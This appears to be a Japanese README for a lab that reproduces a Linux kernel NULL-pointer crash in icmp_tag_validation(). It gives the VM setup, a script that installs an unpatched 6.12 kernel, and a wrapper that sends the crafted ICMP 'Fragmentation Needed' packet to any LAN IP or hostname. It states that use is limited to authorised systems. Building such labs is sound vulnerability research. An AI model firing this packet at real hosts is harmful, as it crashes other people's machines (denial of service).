
ip_no_pmtu_disc=3)icmp_tag_validation() におけるLinuxカーネルバグ(net.ipv4.ip_no_pmtu_disc = 3 かつ、inet_protos[] にハンドラのないプロトコル番号を持つ引用された内部IPv4ヘッダーを含む Fragmentation Needed ICMPが到着した際のNULLポインタ参照)の再現可能なラボです。
許可された用途のみ: 所有しているシステム、または明示的な書面によるテスト許可を得たシステムのみ。影響はサービス拒否(カーネルパニック)です。
| コンポーネント | 目的 |
|---|
QEMU (qemu-system-x86_64, qemu-img) | 被害者VM |
cloud-image-utils (cloud-localds)、wget、genisoimage | cloud-init とイメージのダウンロード |
| Docker + Docker Compose | ホストからのICMP送信者(host ネットワークモード) |
| OpenSSHクライアント | SSH自動化 |
~/.ssh/id_ed25519.pub または id_rsa.pub のSSHキー、または sshpass | パスワード入力をしないゲストログイン(キー推奨) |
| sudo | TAPモードのみ(ホストからVMの固定IPへのICMP) |
ホスト上のPython 3とScapyは、リモートペイロードにDockerを使用しない場合にのみ必要です。
├── send_frag_needed.py # Scapy PoC (ICMP 3,4 + 一般的でないプロトコルを持つ内部IP)
├── send-payload-to-host.sh # ネットワーク上のIP/ホスト名にペイロードを送信
├── docker-compose.yml # "sender" サービス (host ネットワーク + CAP_NET_RAW)
├── Dockerfile
├── vm/ # ディスク、cloud-init シード、QEMU シリアルログ
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP シード (usernet モード)
├── build-seed.sh # 静的 192.168.76.2 シード (TAP モード)
├── vm-start-usernet.sh # QEMU + ユーザーネットワーク (SSH ポート 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (tap-up.sh の後)
├── tap-up.sh / tap-down.sh # ホスト上の TAP インターフェース (sudo)
├── run-lab-usernet.sh # 完全なフロー: イメージ + VM + ゲスト上の Scapy (最近のカーネル)
├── run-lab.sh # TAP フロー + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # パッチ未適用の mainline 6.12 + veth PoC (パニック)
└── poc-veth-netns.sh # ゲスト*内部*で実行 (veth + netns)
QEMU ユーザーネットワークは、ホスト発信のICMPをゲストへ確実に配信しません。自動化フローはScapyをVM上にインストールし、そこでスクリプトを実行します。現在のUbuntuカーネルは通常パッチ済みです: "Sent 1 packets" は表示されますが、パニックは発生しません。
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# 初回実行: Ubuntu Noble クラウドイメージのダウンロード、オーバーレイ、シード、QEMU 起動、SSH :2222、apt、PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected](パスワード認証を使用する場合はパスワード lablab)./scripts/vm-stop-usernet.shvm/serial-usernet.logCVE修正は2026年3月に導入されました。古いmainlineビルド(例: 2024-11 の 6.12.0)にはその修正は含まれていません。スクリプトはそれらの .deb パッケージをVMにインストールし、再起動し、veth + ネットワーク名前空間を使用してPoCを実行します。これによりICMPは実際の入力パスをたどります(ゲスト自身のループバック/インターフェースIPにのみ送信するだけでは不十分です)。
警告: これは通常カーネルパニックで終了します。SSHは応答を停止します。
# usernet VM 実行中(または run-lab-usernet.sh で一度作成済み)
./scripts/vm-start-usernet.sh # まだ実行されていない場合
./scripts/install-vulnerable-mainline.sh
| シグナル | パニックが発生した(脆弱な6.12で期待される) | パニックが発生しなかった |
|---|---|---|
| "Running PoC …" 直後のSSH | ハング、または Connection timed out / Connection reset | セッションは引き続き動作。シェルが得られる |
send_frag_needed.py の出力 | SSHが死ぬ前に . Sent 1 packets. が表示されるはず(リンクが即座に切断されると切り詰められることが多い) | Install Scapy: pip install scapy → ゲストにScapyがなかった。ICMPは送信されなかった。install-vulnerable-mainline.sh を再実行(python3-scapy をインストール)するか、VM上で sudo apt install -y python3-scapy を実行してPoCを再実行 |
| シリアルログ | tail -f vm/serial-usernet.log に Kernel panic、icmp_unreach、CR2: 0000000000000010 などが表示される | パニック行なし。ゲストは実行を継続 |
| QEMUプロセス | 実行中だが、ゲストOSは再起動まで停止 | ゲストはポート2222で応答を継続 |
新しいディスクの注意: prepare-disk.sh + vm-start-usernet.sh のみを実行した場合(run-lab-usernet.sh ではない)、install-vulnerable-mainline.sh がインストールするまで(または手動でインストールするまで)、ゲストに python3-scapy が存在しない場合があります。
パニック後 — クリーンリセット:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# 任意: パッケージの再インストール / install-vulnerable-mainline.sh の再実行
ゲストは 192.168.76.2、ホストはTAP上で 192.168.76.1 を使用します。ICMPは実際のLANと同様に動作します。
./scripts/tap-up.sh # sudo: icmp-lab-tap0 を作成
./scripts/prepare-disk.sh
./scripts/build-seed.sh # cloud-init での静的アドレス指定
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# VM上: sysctl -w net.ipv4.ip_no_pmtu_disc=3 と、パニックを希望する場合は脆弱なカーネル
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh はこの一部を連結します(TAP + Dockerが必要)。
便利なラッパー(ホスト名 → IPv4 を解決し、Dockerを優先、それ以外は sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # 一度だけ
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Dockerなしの場合:
sudo pip install scapy # 必要な場合
sudo ./send-payload-to-host.sh 192.168.1.50
このCVEに関連するターゲット条件:
net.ipv4.ip_no_pmtu_disc = 3(強化されたPMTUモード)。カーネルがパッチ済み、またはsysctlが 3 でない場合、パニックは発生しません。パケットはワイヤ上で送信される可能性があります。
| 変数 | 説明 |
|---|---|
ICMP_LAB_TAP | TAPデバイス名(デフォルト icmp-lab-tap0) |
ICMP_LAB_HOST_IP | TAP上のホストアドレス(デフォルト 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet SSHポート(デフォルト 2222) |
ICMP_LAB_SSH_HOST | SSHホスト(デフォルト 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation()(mainlineのコミット 614aefe56af8e)3 の導入: コミット 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| 目的 | コマンド |
|---|---|
| 初回のusernetラボ | ./scripts/run-lab-usernet.sh |
| usernet VMの起動 / 停止 | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| 脆弱なカーネル + PoC(パニック) | ./scripts/install-vulnerable-mainline.sh |
| パニック後のディスクリセット | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| LAN IP/ホストへのペイロード | ./send-payload-to-host.sh <IP|hostname> |
| Docker送信者イメージのビルド | docker compose build |